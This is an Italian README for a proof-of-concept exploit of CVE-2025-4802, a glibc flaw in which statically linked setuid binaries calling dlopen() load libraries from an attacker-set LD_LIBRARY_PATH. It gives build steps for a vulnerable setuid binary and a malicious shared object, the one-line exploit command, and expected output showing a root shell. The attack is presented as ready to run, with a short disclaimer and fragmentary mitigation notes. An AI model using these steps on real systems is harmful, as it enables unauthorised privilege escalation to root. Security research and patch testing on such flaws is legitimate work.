
Proof of Concept per un binario setuid compilato staticamente vulnerabile a dlopen con LD_LIBRARY_PATH
⚠️ Avvertenza: Questo repository è esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzati. Non utilizzare questo exploit su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. L'uso improprio potrebbe violare leggi e regolamenti.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2025-4802 |
| Software interessato | GNU C Library (glibc) |
| Versioni interessate | 2.27 – 2.38 |
| Tipo di vulnerabilità | Escalation dei privilegi tramite LD_LIBRARY_PATH non fidato |
| Vettore di attacco | Locale |
Una vulnerabilità nella GNU C Library (glibc) versioni da 2.27 a 2.38 consente a un utente malintenzionato di sfruttare la variabile d'ambiente LD_LIBRARY_PATH in binari setuid compilati staticamente che chiamano dlopen().
Normalmente, il linker dinamico sanifica LD_LIBRARY_PATH per i programmi setuid. Tuttavia, i binari compilati staticamente bypassano completamente il linker dinamico, quindi LD_LIBRARY_PATH non viene mai cancellato. Quando un tale binario chiama dlopen() (direttamente, o indirettamente tramite setlocale() o funzioni NSS come getaddrinfo()), glibc risolve le librerie condivise usando il LD_LIBRARY_PATH controllato dall'attaccante, consentendo l'esecuzione di codice arbitrario con privilegi elevati.
dlopen("myso.so", ...) per caricare un oggetto condiviso per nome (non un percorso assoluto).ld-linux.so) non viene mai eseguito, quindi LD_LIBRARY_PATH non è sanificato.myso.so) che esporta lo stesso simbolo hello() ma genera una shell root.LD_LIBRARY_PATH in modo che punti alla directory contenente la libreria malevola..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc, makemake all
O manualmente:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Output previsto:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (comportamento malevolo)LD_LIBRARY_PATH=./evil_library ./main
Output previsto:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Il binario carica il myso.so dell'attaccante dalla directory evil_library/ invece di quello legittimo, generando una shell root.

È disponibile anche un video dimostrativo: proof_of_concept_video.mp4
dlopen()dlopen() invece di nomi di librerie semplicidlopen()